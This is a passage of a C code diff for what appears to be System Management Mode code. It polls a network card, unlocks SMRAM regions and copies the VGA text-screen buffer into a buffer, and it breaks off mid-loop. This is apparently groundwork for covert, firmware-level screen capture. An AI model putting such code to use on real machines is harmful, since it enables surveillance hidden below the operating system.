+ return (((unsigned int) vga_read(CRTC_START_ADDR_MSB_IDX)) << 9)
+ + (((unsigned int) vga_read(CRTC_START_ADDR_LSB_IDX)) << 1);
+}
+
+void eth_poll()
+{
+ int i;
+// static int c;
+ static short pos = 0x0;
+ unsigned short base = vga_base();
+ unsigned char *p = (unsigned char *)0xB8000;
+ smram_state_t old_state;
+
+ if (!_nic)
+ return;
+
+ _nic->poll(_nic, 0);
+ smram_tseg_set_state(SMRAM_TSEG_OPEN);
+ old_state = smram_save_state();
+
+// if ((c++) % 2)
+// return;
+
+ test[0] = pos >> 8;
+ test[1] = pos & 0xFF;
+ test[2] = base >> 8;
+ test[3] = base & 0xFF;
+
+ smram_aseg_set_state(SMRAM_ASEG_SMMCODE);
+
+ for (i = 4; i < 1024; i++)